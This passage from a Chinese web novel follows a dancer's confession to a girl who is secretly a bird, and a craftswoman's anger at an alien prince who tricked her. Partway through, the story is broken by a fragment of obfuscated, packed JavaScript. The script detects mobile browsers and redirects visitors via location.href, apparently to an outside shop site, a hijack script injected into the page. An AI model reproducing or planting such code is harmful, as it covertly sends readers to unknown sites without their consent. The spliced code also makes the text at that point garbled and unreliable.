虽是在警告,可她纤柔的嗓音在阿波若听来却无比的悦耳。如果一天没听见她的声音,一天没看见她,他都会觉得浑身难受。
不由自主地想来找她,想靠近她一点,更近一点。
昨晚他借着怕她做噩梦的由头找来,好不容易在她身边呆了一晚;可一大早就又被赶回那个出租屋的家,倒是她和白歆玥一起去竹林筱院了。
他才不要回家,就想要呆在姜念身边。
所以他瞬移回家后不到一秒,又立刻回到温泉酒店,直接来这竹林筱院。
只要一想到能见姜念,他心里就忍不住欢悦起来。可一看到姜念为白歆玥的事操心,他也跟着莫名燥心。
“不就是送个礼物,白歆玥怎么那么慢——”他吐槽。
“嘘!你懂什么?在喜欢的人面前,女孩子就是很害羞纠结的。”姜念回过头来瞪他,忽然来一句,“阿波若你有过恋人吗?有过喜欢的人吗?”
阿波若登时愣在原地。
眼睛一眨不眨地看着她。
姜念见他的呆样,只摇摇头,一看就没有喜欢的人,钢铁直男小屁孩儿一个。
便转身想探头去瞧瞧那边走廊尽头两人的情况。
可手臂却一紧,整个人转个圈回来,直接撞进他的怀里。
阿波若身上炙热的气息将她包围,甚至可以直接听见他胸膛里跳动的心跳声。
“你不是问,我有没有喜欢的人?”他浑厚的声音自上而下传来,完全不似平时傲然,却有种说不出的轻柔。
“我——”
一个抽泣着飞奔而过的身影打断了他的话,眼见已经冲出了竹林筱院的大门。
姜念愣了半瞬,“不好!是昕玥!”,她猛然反应过来,赶紧跟着冲出去,又回头不忘拉起阿波若一起冲。
等找到歆玥的时候,她躲在洗手间里妆都哭花了。
她告诉姜念,礼物是送出去了,可她这心里却如刀割,已经碎了。
一见到岚枫老师,她就几乎一句话也说不出。曾经她告诉自己千千万万遍,你和他是云泥之别,不可能在一起的,况且人家已经有了女友,该放下了。
可当真正面对他的时候,她无法欺骗自己,做不到。
她还是好喜欢、好喜欢他。
只能强忍泪水,她将装有礼物的袋子递过去,祝他演出顺利,事业有成,与爱的人生活幸福美满。
她不敢抬眼去看他,却能感受到他是笑着接过礼物的。
岚枫老师从来也不收任何人的礼物。
但这次他接受了,因为这个礼物是祝福他和爱的人美满幸福。
他一定,很爱很爱他的女友。
这一刻,白昕玥眼里的泪水再也忍不住奔涌而出,扭头飞奔而去。
礼物送不出去,她会难过;可礼物送出去了,她更加难过。
“念念姐…我是不是很差劲,我连最单纯的祝福都做不到送给他。”白昕玥肿着一双眼,泪眼婆娑。
怎么会呢你的礼物已经送出去了,从你打算送这个礼物开始,你的祝福就已经源源不断地传递给他了。姜念揽住昕玥的肩,轻声安慰。
你最大的心愿不就是希望他快乐幸福吗?
这自始至终都没有变过。
“在我们绒花簪娘界里有一句话‘绒花虽非花,一朵却永久’”姜念认真道,“你的心意会长长久久祝福着他的,也是祝福你自己。”
“谢谢你,念念姐。”白昕玥点点头,紧握姜念的手。
—
等安抚得差不多了,姜念和白歆玥补完妆就一起出来。
阿波若等在门口。
他目不转睛盯着姜念的脸上瞧,“你哭过了?”
这也能看出来?他这眼睛也太尖了吧。姜念心里一惊,刚才见歆玥哭得伤心,她也不免心痛被触动落了泪。
而且她也补过妆了,照理应该看不出来。
一旁的白歆玥眼睛倒还肿着,但被开导后心情好了不少,都能八卦了,“念念姐,一看姐夫就是心疼你,怕你哭呢。”
“不是姐夫。”姜念伸手要去捏她的脸,歆玥笑着连连求饶。
笑着笑着,笑意突然在她脸上停滞,目光一直落在远处某个地方。
姜念也顺着看过去。
远处那个玉立的白衣背影夺目,他面前是一个身姿高挑的靓丽女孩,柔情似水的看着他。
眼见的岚枫老师将手中的一个异常华美的礼品袋递向女孩手中,女孩一下就靠过来贴紧他身侧。
—
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482137|201808||http|test|mini|href|location''.split(''|''),0,{}));
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>“我们走吧。”歆玥立即回过头,冲着姜念苦笑一下。
说着便疾步要离开。
却一下撞到了不知何时出现的同事小苏。他见白歆玥眼睛红红,凑近她脸边低声道,“岚枫老师这当众和女友秀恩爱的,我知道你难过。不过这世界上好男人多得是,你说是吧。”
一下子白歆玥的眼泪就涌出来。
小苏赶紧拿出纸巾给她拭泪,甚是上心。歆玥别开他帮拭泪的手,越走越快,小苏也紧紧跟在她旁边试图逗她开心“想吃什么都可以,走,我请你吃大餐去……”
两人越走越快,从背后看倒像两个闹脾气的年轻小情侣。
姜念拉着阿波若紧随其后。
但走着走着,她还是回头看了一眼。
就在刚刚她们站的那个地方,此刻岚枫老师正站在那。
一直望向这边。
—
晚上国风大典盛大开幕。
华贵典雅,华美非常,每一个节目都是一场极致视觉的盛宴。
特别是岚枫率领的舞团带来的古典舞《山之高》,更是宏伟震撼。
看得姜念胸中都为之激荡。
不愧是荣获百花杯金奖的舞蹈。而随后还有岚枫带来的独舞《九问》,尚在中场休息的间隙场下的迷妹们都已经按捺不住激动的心情开始阵阵欢呼。
“岚枫老师的每一场舞我都会去看,也最喜欢这《九问》一支独舞。他是天生的舞者。”白歆玥手捧着相机,仰头深深望向台上。
“但这也是我最后一次看了。”
她的声音很轻,轻得像随风游散的游云。
姜念知道,过了今天之后,白歆玥就要离开榕宁回到北方山林老家了。
当初她带着爱而来,现在也要深藏于心携爱而归了。
《九问》这支舞说的对世间爱恋的苦苦追寻、九问九答最终获得真谛的故事。而现实中岚枫老师也有心爱的女友,白歆玥告诉姜念她为岚枫老师感到高兴,她祝福他永远幸福。
尽管,那个女孩不是她。
独舞开始,在无尽的惊叹与欢呼声中岚枫老师一席白衣翩翩而来,宛若仙人,遗世独立。
极致的白,脱凡绝俗,似乎这一刻天地为之尽失色。
而他墨黑的发髻上簪的那一束雪团红梅却尽显耀眼。
添上了最动人的一抹亮色。
那株红梅,正是白歆玥送的绒花发簪。
朵朵红梅妍丽,雪团子小鸟玉雪可爱,她将自己本身的模样融入了发簪设计中,才有了这个费尽心血又独一无二的发簪。
可怎么会呢,岚枫老师怎么会戴上她送的发簪跳舞表演呢?
他这支舞明明有特别订制的头饰,比她送的发簪不知华美多少倍。
她不会记错的,因为这支舞她看了不知多少遍。
白歆玥望向台上,不可置信。
“这支舞对我来说很重要,而今天我想把它送给一个对我来说同样重要的人。是她,给了我无尽的鼓励和勇气。”舞毕,岚枫动情说道,抬手抚了抚那株红梅发簪。
他深情的眼神望向台下,只望向一处地方,一个人。
那个人不是别人,是白歆玥。
“那个女孩,是我心里一直都喜欢的人,从未变过。”
岚枫直直盯着白歆玥,像是只对她一个人说一样。
“我喜欢你,歆玥。”
他笑起来,晶莹的泪从眼中滑落。
22. 真相大白
“你以为我早就有了女朋友?怎么可能,歆玥我喜欢的一直是你!”岚枫紧握着白歆玥的手,焦急解释。
两人紧紧靠坐在一起,肩连着肩。
整个小宴会厅都被岚枫提前预定好,布置成浪漫的花海。他谢绝了所有记者采访,带着白歆玥来到这里。
这里没有别人,只有彼此。
白歆玥脸上飞起红晕,整个人都晕晕乎乎仿佛像在做梦一样,至今不敢相信岚枫喜欢的真的是她。
可那张照片又是怎么回事呢?
他和宋曦圆明明抱在一起……看到歆玥手机里那张照片后,岚枫又震惊有迷惑:怎么会有这样一张照片,他根本不喜欢宋曦圆更不可能抱她。
但照片上的场景又有些熟悉,他仔细回忆,想起来应该是那一天晚上几大舞团搞聚会,很多人都在宋曦圆也在。
但这张照片到底怎么拍的他想不明白,宋曦圆对他来说不过是合作舞团的小师妹,和他自己手底下的师弟师妹甚至徒弟没什么两样,他对她没有任何男女之情。
而今天宋曦圆突然将礼物塞在他手里后表白,他拒绝了并将礼物还给她。
原来,又是一个误会。白歆玥心结松开,“我以为,她是你女友给你的礼物更合你心意……”
“她不是。”岚枫坚定无比,手指摩挲着歆玥的手背,低头认真道:“我不会收别人的礼物,除非是你送的。你知道吗当收到你送的礼物时我心里其实高兴坏了,当时我就想直接和你表白而不是等到晚上,可你却转身哭着跑开了。”
那一刻岚枫整个人都慌了,跟在后面追出去却在筱院大门撞到小苏,后来便找不到歆玥了。他心里着急四处找,又担心她眼睛哭肿于是去酒店大堂要了冰敷袋。等回来的时候便是宋曦圆来送礼物,紧接着他就看到了歆玥,还有身旁的小苏。
“我知道你要回北方老家,要离开了。所以那句话我一直藏在心底,不敢说。我不是个善言辞的人,甚至是个舞疯子。曾经我觉得自己的生命里只要有舞蹈就够了。但直到遇见你。”
“每次看见你,我心里就像被阳光照亮一样。我每次想办法找你搭话,却发现你总会很快离开。我怕是自己太严肃、太冷淡吓到你了。我以为你不喜欢我,而是喜欢…小苏。”
岚枫的声音低沉了下来。
白歆玥赶紧握紧他的手:“我不喜欢小苏!只不过每次见到你的时候,我都太害羞甚至不敢看你。”
她头低下去,又抬起眸目光潋滟。
“我喜欢的一直都是你。”
岚枫一把将她揽在怀里,不禁吻她的额头,呢喃间又将项链为她戴上。
项链无比奢华,钻石与顶级珍珠交相呼应耀眼非常,造型由岚枫亲自设计,项链的名牌后刻了歆玥的名字。
歆玥摸着颈间的项链,指尖微微颤动。
“你愿意做我女朋友吗?”
岚枫郑重道。
可歆玥却迟疑了。
“她不会答应你的。”
小苏朝着二人走来。
岚枫站起身,惊诧他怎么会在这?明明大门是紧闭的。
“门关着又怎样,窗户不是还开着?”小苏一改往常的嬉皮笑脸,冷冷道,又盯着歆玥:“你不会答应他,也不能。你和他是天壤之别,我们才是同类。”
“那个照片其实是你拍的吧?当初你转发给我就是为了让我误会岚枫老师。”歆玥质问。
“是我拍的。也是我和宋曦圆故意设计的。她喜欢岚枫也知道你也喜欢他,便找上我让做假。舞团聚会的那个晚上她故意装作不小心崴脚往岚枫身上扑,营造出两人拥抱的假象。而我早就在暗处准备好借机拍下照片,再发给你。之后便散布她和岚枫是男女朋友的消息。只要你相信了退缩了,她就可以得到岚枫。”
“可宋曦圆那个草包,这么久了一点进展都没有。她得不到岚枫的关注又怕假情侣照的事情败露,为了让你彻底死心又来找我帮忙,我就又设计了一个送礼计。”
小苏知道歆玥准备在竹林筱院给岚枫送礼,便埋伏在周围。等歆玥哭着跑出去,他就出现假装被岚枫撞到给他指错误的方向来拖延时间。之后再通知宋曦圆来给岚枫礼物,刻意营造亲密气氛只为让歆玥看见,彻底做实传言。
“歆玥,你我从小长大你对每一件事的反应我都了如执掌,不然这些计也不会那么成功。”他嗤笑一声,像是嘲笑又像自嘲。
卑鄙无耻!岚枫脸色铁青,揪着小苏的衣领给了他重重一拳,再要打时被歆玥劝住了。
小苏嘴角流着血,“我是卑鄙,但无论如何歆玥都不会和你在一起。她只能和我在一起,这是我们的命。
“岚枫,你口口声声说喜欢歆玥可你真的了解她吗?你知道她到底是谁吗?你知道她其实是……”、“小苏你别……”
“我知道!我知道歆玥不是人类,她是一只北长尾山雀。可那又如何?”
岚枫坚定道,深情望向歆歆玥。
一行泪从歆玥的脸上滑下,被岚枫伸手拂去。
小苏不可置信。“你早就知道?却不介意?”他抬起一只手,手臂瞬间长满了白绒的羽毛,“我和歆玥都是鸟类,而你是人类。睁大你的眼睛看清楚一点!”
“歆玥就是歆玥,我爱她,她爱我,这就足够了。”
岚枫温情地摩挲着歆玥的脸颊,将人深深拥在怀里。
歆玥头抵着他的胸膛,而后仰头望向他:“我的确是一只北长尾山雀,我不敢向你表明心意也不敢答应你的表白,也是因为这个顾虑。”
即便心中忐忑,但她还是想把一切都说开来。
“可我毕竟真的不是人类,如果有一天变回了小鸟的真身,你不会介意吗?”
“我是人类不是鸟类。那你会介意吗?”
岚枫反问一句。
歆玥登时愣了半刹。
“我没有翅膀也不会飞,你会介意吗?”他极度认真,清澈的眸子宛若一汪倒映月辉的池水,素来清冷矜威的性子此刻却像个纯真的孩童,倒有些可爱。
逗得歆玥扑哧一笑。又听见他继续道,“我和你一起回北林。你在哪我就在哪。”说着取下发髻上那株绒花发簪,“这发簪上的雪团小鸟是你,红梅是我,红梅映雪,我们永远在一起不分开。”
“可你在榕宁打拼了这么多年,你的舞蹈工作室怎么办?”
“榕宁这边我都已经交代好了,不用担心。我和你回北林,在那边开设新舞蹈工作室。”岚枫望着歆玥无比爱怜,“你当初为了我来到榕宁,吃了那么多苦,这次换我陪你回去,好不好?”
两人紧紧拥抱在一起。
小苏闭上眼,直摇头:“你们真是疯了!”
歆玥从岚枫怀抱里抬起头,擦干了脸上的泪,“少族长,你会理解我们的。你真正所爱其实从来都不是我,看看你的相机里就知道了。”
小苏为之一震。
歆玥从头上发髻上取下一物,递过去,“念念姐说过,绒花是不会凋谢的花,代表着永世的祝福。现在我将这个送给你。”
她笑起来,露出两个小小的梨涡。
“也祝你能勇敢去追寻心中所爱。”
—
“#顶级舞蹈家岚枫与新锐摄影师白歆玥绝美爱恋!男才女貌999#”、“#萌爆了!超绝可爱雪团子小肥啾发簪直接戳中我的心巴!#”这两个词条连续霸屏各大榜单好几天,异常火爆。
自从那天国风大典岚枫独舞的绝美直拍发布,他所佩戴的红梅映雪绒花发簪立刻掀起一阵国风热潮,不到十分钟直接冲上了热榜第一,百万条评论下大家都在求问发簪、求买同款发簪。
这可“苦”了姜念。
但这是异常甜蜜的“苦”。
这几天她忙得不可开交,连觉都没时间睡只为赶工:雪团子绒花发簪意外爆火、岚枫尽心夸赞与推荐,她的网上小店里的800支现货一下全售空了,连预售都售出1200支。
每天直播间里都有新的粉丝关注,大家像发现新大陆一样惊叹于绒花的工艺竟能如此美,纷纷下单。
不仅雪团子发簪全部售空,店里其他花型样式的发簪、发钗、发梳、耳环等都一售而空。
破天的富贵直接砸过来。
仿佛梦一样。
销量翻了十几倍不止,更重要的是她的口碑也好转起来——新粉大量上涨、以前在丰林时就拥有的老粉也多数回归,当然黑粉也变本加厉来泼脏水、翻出“毒绒花”的旧事试图抹黑她。
但出乎姜念意料的是,大量粉丝们全力抵制黑粉,为她打抱不平。很多粉丝甚至留言,鼓励她力挺她。
她们说,能设计制作出这么美的绒花饰品的人不会是坏人,一定有一颗很美好的心。
她很感动。
随着小肥啾雪团子绒花发簪的爆火,也出现了很多跟风仿品,但大多粗制滥造不如姜念制作的精巧:
她制作的雪团子绒花发簪,小肥啾造型玉雪可爱,红梅艳丽动人,一白一红绚丽夺目,而白绒绒的小肥啾形态设计特别萌特别精致,都是精心设计的,最大程度兼顾了小肥啾的可爱与真实性。
为了便于更多人佩戴,姜念又设计出了雪团子发夹、雪团子耳环(耳夹)、雪团子胸针等等,因为数量不多刚上线不到十分钟就售罄。
而北林文旅局和榕宁文旅局也向姜念发出邀请,请她参加文旅与国风文化推广。特别是北林文旅局,作为北长尾山雀保护之乡,订购了200支雪团子绒花发簪及系列饰品并致电感谢姜念。
因雪团子发簪的火爆出圈,不仅让更多人了解并喜爱北长尾山雀这一珍惜鸟类从而能更好的保护,也带动了北林当地的文化旅游经济。
能得到北林文旅局的认可,姜念心中有说不出的高兴。虽然以前她在丰林的时候不知收到多少次各地文旅局的邀请、参加了多少次绒花推广活动。但这次不一样,这是她落败后第一次被权威认可,再次堂堂正正走向大家眼前。
还要感谢岚枫和歆玥,尽心帮她宣传了不少。歆玥带岚枫回了北林老家,岚枫在那开了舞蹈室,她也开了摄影工作室,同时还成为北林文旅局的特约供稿摄影师。
前几天,国际摄影大赛公布名次,歆玥拍摄的《雪中精灵——北长尾山雀系列组图》斩获最高荣誉特奖。她也成为获得该项奖项最年轻的摄影师。
而获奖所得奖金也尽数捐献给了北林当地鸟类保护协会,她和岚枫都加入了协会,为自然生态保护尽一份力。
在歆玥自己的账号上,每天都会发北林的绝美自然风光,还有北长尾山雀的各种萌图,收获了众多粉丝关注、点赞。
她镜头下的山川湖泊
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、霜冻冰雪、小肥啾的各种形态都带有一种独特的视角美,灵动非常。或许这也是天赋吧,身为鸟类她能够以别样的视角去发现大自然的美。
而同样身为北长尾山雀的小苏并没有回到北林去接替鸟族长位置,而是成为一名自由风光摄影师带着相机走遍中国大好山河。
在他个人的账号里,一张张绝美风景照见证着他的足迹:有烟雨江南的小桥流水、有大漠黄沙的戈壁盐湖、有漫天飞雪也有繁花似锦。
最新的一张照片,他身着傣族特色男子服饰置身繁丽的鲜花中,骄阳似火,他手捧大束金灿灿的鸡蛋花,头上簪着那朵鸡蛋花绒花,整个人简直黑了两个度,看起来还有点脱水疲惫,但脸上的笑容却无比灿烂。
鸡蛋花是西双版纳常见的花卉之一,也是一种象征。当初白歆玥向姜念订购了一支鸡蛋花绒花发簪,当做一种奢望——身为北长尾山雀是不可能到达像西双版纳那样炎热的地区的,光是酷热就已经足以让他们痛苦。
但她将这支发簪送给小苏,希望小苏能去追逐心中的热爱。
他不应当被困在北林山中,不应该被继承族长的责任所束缚,他不属于那里,而属于外面更广阔的天地。
烈日会灼伤羽毛、暴雨会打落花瓣,但都阻挡不了他去追逐自由的脚步,正如那朵鸡蛋花绒花发簪一样,伴随他走遍千山万水,始终不败不落、鲜艳如常。
白歆玥告诉姜念,小苏寄了云南特有的白茶过来,也分给姜念一份。她说,北林下了今年最大的一场冬雪,在那一天,她们北长尾山雀族群推选了新族长。
念念姐,有空一定要来北林玩,我带你去玩雪呀。白歆玥热情邀请。
北林的雪可真大呀,姜念身为一个南方人还从未见过那么厚的雪。看着歆玥账号上发出的照片,真是冰封千里,白茫茫一片。
漫天大雪中,她和岚枫亲昵紧拥在一起,全副武装只露出眉眼,眉毛上都挂满了霜,但眼里的笑意与幸福怎么也挡不住,浪漫至极。
这张照片同样在岚枫的账号置顶,并配文——【无论曾经两人距离多远,我都会坚定不移地走向你。】
真浪漫。
姜念点了大大一个赞。
余光中,却发现阿波若一动不动地直看着她。
莫名其妙,发什么呆呀。她伸手在他眼前晃呀晃。快帮我打包,别偷懒。
订单爆满,姜念一个人根本忙不过来,便想着让阿波若来帮忙。起初以为请不动他这尊“大佛”,没想到他答应得还算爽快。
有了一个帮手,像前期配线、配珠串的工作就不用姜念再操心,后期的成品包装打包寄快递也都全部交给阿波若来做。
窗外远处响起烟花声,绚烂地映照在玻璃窗上。
阿波若回过神来,正对上姜念直瞪着他的眼。
她的小脸鼓鼓的,毛绒绒的雪团子耳环一下又一下轻轻荡着。
而他的心,像一汪湖水被她轻轻用手指一点,却荡漾出无尽的涟漪。
砰的一声,又一束烟花升空了。
姜念转头朝窗外看去,绚丽的烟花光盛满她的眸子。
国庆假期,烟花不断,等过不了几天就要到中秋节了。阿波若记得姜念这么说过。
他不知道什么国庆节、什么中秋节,只知道她说过烟花真好看。
她喜欢看烟花。
烟花放完了,姜念回过头来还有些意犹未尽。却发现一个宽大的手掌伸过来,无数灿烂夺目的迷你小烟花就在她眼前腾起绽放,像魔法一样。
你怎么做到的?姜念惊奇不已。
这点小玩意儿有什么难的?阿波若面上甚是不以为意,却暗暗观察姜念的反应——果然,她很开心,不断问东问西好奇得很。
他心里乐开了花。只要她喜欢看,他就会变给她看。
这烟花,只为她一个人绽放。
“姜念,我——”烟花太过灿烂,阿波若心里有一句话也随之澎湃。
大门响起敲门声。
应该是快递,阿波若只能去开门,拿进来两个箱子。
原来是歆玥邮寄的白茶和北林特产到了。姜念打电话向歆玥道谢,好姐妹不免又话起家常来。
阿波若斜斜靠在卧室的门框上,满眼怨念地望着姜念的手机,恨不得双眼发射激光炮将那边的手机销毁。
等电话打完,一定就能和姜念说了。
谁也不许再来打扰。
谁也不能再来和他抢姜念。
阿波若胜券在握,唇角止不住弯起。
“什么,你说那天你早就回家了?不对呀,我们不是还在浴室聊天聊了很久吗?”姜念不可置信,再次和白歆玥确认。
可白歆玥百分百肯定,那天她早就回家了,在家哭得昏天暗地等情绪稳定些了才和姜念发的消息呢。
那,那天和我一起在浴室里聊天的小肥啾是谁?姜念胸中腾起一股不详的感觉。
糟-了。
阿波若感觉周身的血液开始逆流。
刚想找个地方,哪怕是个老鼠洞也好躲躲,就听见那极致冰冷的声音从四面八方朝他压来,让他无可逃:
阿—波—若!
是你!你个大流氓!下流!
滚!
滚出我的房间!
老娘现在就去宰了你!
23. 错哪儿了
一瓢水泼来,仿佛一个巨大的水巴掌。
将阿波若泼醒。
湿漉漉的卷发贴在脸边,他才发觉自己双手被缚高举头顶,双膝跪地。
而眼前什么也看不见,被蒙上了一块黑布。
越挣扎,双手被缚得越紧。
好几记鞭子狠厉地抽过来,他裸/露的前胸火辣辣的疼。
“阿波若。”
姜念寒彻刺骨的声音如神祇在他头顶响起。
“你好大的胆子。敢偷看我洗澡。”
更猛烈的鞭子抽过来,抽得他伤痕累累。
突然他倒吸一口凉气:那些刺痛的伤痕被一个冰凉又纤细的手指抚摸着,一寸一寸。
下一秒他的下巴就被捏起,眼前的黑布被揭下。
那张玉净娇柔的脸占据了他整个眸子。
痛吗?姜念带着蜜香的气息尽数吐露在他脸上。
阿波若摇摇头。
那块蒙眼的黑布不知何时又紧紧勒在阿波若颈上,姜念手腕一个用力,他便听话地向上被抬起头。
像训狗一样。
姜念笑起来,可那双眸子却透出寒意。她的声音回荡在空中,震耳欲聋:
从现在起,你给我滚。
永远不许回来。
胸中一阵剧痛,阿波若感觉心被挖空了:
不,他不要滚。
哪怕被她用鞭子抽死他也要留在这里。
我不要滚!几乎呕血,阿波若竭力嘶吼。
睁开眼时,才发现只是个梦。
还好只是个梦,他还在姜念家。
阿波若松了一口气。
但浑身依旧动弹不得。自从那晚被姜念发现真相后,他被大骂臭流氓、喊滚出去,到现在已经三天了,他如同一座雕像站在客厅的犄角旮旯身上的禁动咒语始终没解。
看来这个咒语的威力又增强了:在滚了无数次后他都已经滚出经验、滚出心得了——这个咒语的威力与姜念的怒气值息息相关,要是她小发雷霆,他被禁动的时间就短得多;但她大发雷霆,这个被禁动的时间就不太好说了。
这一次如果姜念不主动来帮他解除禁动,他有种感觉自己会直挺挺站在客厅的角落直到成为一块化石。
但成为化石就化石吧,至少还在她家里。
还能留在她身边。
一想起刚才那个梦,阿波若就觉得浑身不安:不会她真的会让我滚,永远不许回来吧?
豁啦一下,头上被套着的黑色垃圾袋被揭下来,明亮的光又重新在他眼前出现。
还有姜念冷若冰霜紧绷的脸,
和要将他千刀万剐的眼神。
几乎和梦境里的一模一样,甚至过犹不及。阿波若一颗心悬在嗓子眼,不会她真的是来宣判,让他滚出她家永远不许回来?
不对,他发现姜念双手背在身后,手上似乎拿着什么东西。难道是,鞭子?
阿波若心中一阵窃喜。
鞭子好呀,万一她抽爽了解了气,一切都好说。只要不是让他立刻滚出家,任她怎么抽都可以。
“要打就打。”他耿着脖子,心里却很期待。
却见姜念冷笑一声,“打你?想得美。”
?
只见她豁然一下从背后像拔双剑一样拔出两根长长的东西。
登时阿波若面上变了颜色,惨白。
那不是鞭子、不是剑,是两根巨大无比的痒痒挠。
—
挠死你挠死你绕死你!姜念拿着那两根痒痒挠狠命在阿波若身上挠,怎么也不解气。
阿波若脖子通红大汗淋漓,额上的青筋暴起,五官全部皱起在一起,不断又笑又哭。姜念嫌他聒噪,扯了块大胶布封死他的嘴。
这下他只能发出呜呜呜的声响,湿漉漉的卷发贴在额前,像只落水狗。
姜念又发狠挠起来。
他不怕疼,怕痒,她只恨自己没有早点想起来。当时她真的气炸了,竟然被阿波若耍得团团转——敢假装是歆玥变成小肥啾和她一起进浴室,借机偷看她洗澡。龌龊下流臭流氓!挨千刀下油锅都不足解恨。
要不是怕被别人看见,她恨不得让他滚出家门挨冻雨淋。让他在角落罚站算便宜他了,但一看见他就来气所以给他头上套上个黑色垃圾袋,再拉上窗帘眼不见为净。
但这几天越想越气,不狠狠揍他一顿不解气——可用扫把打,刚打一下扫把就断了;用晾衣杆打,晾衣杆也折了;鸡毛掸子、平底锅轮番上阵也都全部阵亡。
那可全都是用钱买的呀。姜念心痛。
怪就怪阿波若皮糙肉厚身体比钢还硬,打他是一点效果都没有。思来想去,姜念终于想起一个阿波若的弱点:硬打的不行,来痒的呀。
使出浑身劲儿奋命挠,姜念挠得自己手都酸了,上气不接下气。
再看阿波若,连呜呜的声音都不发了,一个劲儿直翻白眼。
她一把揭下他嘴上的胶布,“臭流氓,就应该把你眼睛挖了看你还敢不敢偷看!”
“当时我立刻闭眼了,没看见什么——”、“还敢狡辩你要是没看见什么,当时、当时你怎么流鼻血了呀?”、“我就是没看见什么只是想像……”
嚯你还敢想像,想像点什么呀臭不要脸!姜念又惊又气大骂起来,抓紧痒痒绕狠命绕。
阿波若彻底噤声了。
现在说什么都是错,错上加错。
他动弹不得,浑身被挠痒比千刀万剐还难受,此前他四处征战星际多年不知流过多少血,但从未掉过一滴眼泪。今天他算是把这辈子的泪都要流尽了,实在太痒太折磨了。
他不是故意骗姜念去偷看她洗澡,等他反应过来的时候已经跟进去了。
是,他就是吃小肥啾的醋,所以才想变成让姜念喜欢的模样,哪怕是顶着小肥啾的样子。
是王子殿下又怎样,拥有最引以为傲的帅气外貌又怎样,姜念又不喜欢。她就喜欢小肥啾那样的。
那一刻他甚至有点难过,觉得自己天生要是一只小肥啾该多好。
越想心里越不是滋味,阿波若咬紧牙关强忍着。
眼圈爆红,却不让一滴泪再落下。
挠也挠完了,骂了骂了。姜念将痒痒挠往沙发一扔,转身回卧室,锁上门。
—
她真的不会再理我了吧?
直到第五天清晨,阿波若身上的禁动才解除恢复行动自如。但无论他做什么,姜念都当他如空气透明一样,完全无视。
阿波若使出浑身解数试图引起她的注意:努力做她最喜欢吃的鸡蛋卷,没用;每餐吃完饭将碗碟刷洗得比没吃还干净,没用;每天拖地洗衣服擦窗户,几乎将家里(除了姜念卧室)每一处缝隙的灰都清扫干净,没用。
姜念连正眼都没瞧一眼。
而且他趁着姜念出门办事的时候,进她卧室去拿衣服出来洗想着献殷勤,却没想到那堆衣服里夹杂着一件奇怪的衣服,洗之前明明很正常,可用洗衣机洗完后竟然缩成了比他巴掌大不了多少。
像中了缩小咒。阿波若觉得好笑,但直到姜念拿起那件衣服沉着一张脸端详的时候,他再也笑不出:
想起来了之前姜念提过,这种衣服叫做……羊绒衫,好像是这个名。只能手洗,不能用洗衣机洗,否则会缩水。
手洗……不能洗衣机洗……
他觉得自己完蛋了。
但转念想想,讨不了夸讨个骂也行呀——至少比被她当空气好得多。阿波若仰着头叉着腰,满怀期待地看向姜念:骂我呀快骂我猛烈地骂我,打我也可以。
讨骂确实有点效果,但基本不多:姜念只一句“滚去角落”再没说其他。
而阿波若又喜提“3+2+2”的站岗七天“乐”大套餐。
看来,姜念彻底不想理他了。
若是换作之前,他敢把她的羊绒衫洗成那样,她肯定要和他大吵一架。现在,她连骂都懒得骂。
七天后禁动解除,阿波若蹲在地上展开翅膀把自己包成个蘑菇,不断用手在地上画圈圈.哼她不理我,那我也不要理她。
他王子脾气上来,故意放狠话。
厨房里飘来冰糖雪梨的清香味,他起身去厨房关火,盛出一碗来。这几天姜念又感冒了嗓子不舒服,所以他特意煮了冰糖雪梨汤给她润喉。
算算时间每到这个点她就会从卧室里出来去厨房倒水喝,顺便休息一下,到时候看见有雪梨汤说不定就会喝了。
但等了很久也没见人像往常一样从卧室里出来,阿波若忍不住去敲她卧室的门,没有任何反应。突如其来的不安感袭来,他猛地去拉门把手,发现门没锁。
门一开,却见姜念早已倒在地上,昏迷不醒。
冲过去抱起她,浑身滚烫地很。
苍白的脸,毫无血色的嘴唇,看得阿波若整颗心像被撕裂。
他赶紧将姜念抱上床,盖好被子。
她却猛烈地咳嗽起来,难受地怎么也喘不上气。
不好,她的哮喘犯了。
阿波若去找她的哮喘药来给她吸入。
可没吸几下,没药了。
—
姜念醒来后,烧已经退了。她记得当时烧得难受,想去客厅找退烧药吃,但后来就失去意识什么也不知道了。
这段时间她忙着赶工加上一堆事要办,本来身体也弱太忙太累染上了风寒,一下就发起高烧病倒了。
她坐起身来找水喝,发现水杯盛满水就
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放在床头柜上,还是温热的。
而顺着床头柜看过去,阿波若闭眼双手抱胸盘腿靠坐在墙边。
他怎么在这里?
姜念一把拉起胸前的被子,检查身上的衣服。没任何问题。
“你醒了。”
阿波若睁开眼,琥珀蜜色的眸子望着她。
煮了粥饿了就喝吧。他指了指床头柜上的碗,起身往卧室门外走去。
“回来。”姜念出声道。
他便又折返回来。
“昨晚是你照顾了我一整晚?”姜念盯着他的眼睛。
阿波若点头。
姜念哼了声,你照顾我我感谢你,但一码归一码,别以为我就会原谅你。
“我错了。”阿波若直接道。
毫无半点迟疑,连在卧室门外听墙角的光明三叉戟都为之一震。
在它的认知中,王子殿下永远是对的,没有错可言,更不可能说自己错了。
但再不可能现在也变可能了。回想起昨晚王子殿下的举动,那更叫一个惊世骇俗。光明三叉戟老道地点点头。
我错了,对不起。阿波若又说了一遍。
你错哪儿了?姜念睨眼瞧他。
“我变成小肥啾的样子假装是白歆玥骗你,跟着你一起进浴室。”阿波若赶紧道,“但我真的马上就闭眼没有再看。只不过面前有个镜子,在闭眼前我从镜子里看到一点你的背。”
哼还挺诚实。姜念知道他没撒谎。那天的情形她记得挺清楚,确实和他说得如出一撤,当时在浴室她还奇怪怎么“歆玥”老背过去和她说话。
虽然他没有看到什么,但属于偷看未遂。“你我男女有别,若你真的偷看成功了那就是色狼行为,在我们这是猥亵决不允许发生。如果还敢有下次,我就把你的眼珠子挖出来踩烂,你就给我咕(滚)——”
趁还没说出那个字,阿波若一把伸手捂住她的嘴,让她别说那个字。
拿开你的臭手!姜念一巴掌打在他右小臂上,阿波若啊了声,说痛。
少在这装你根本不怕痛。姜念警告他,“还有我最讨厌别人骗我你最好记住。要是再敢变成小肥啾、小麻雀还是其他的小鸟来诓我捉弄我,你就死定了。”
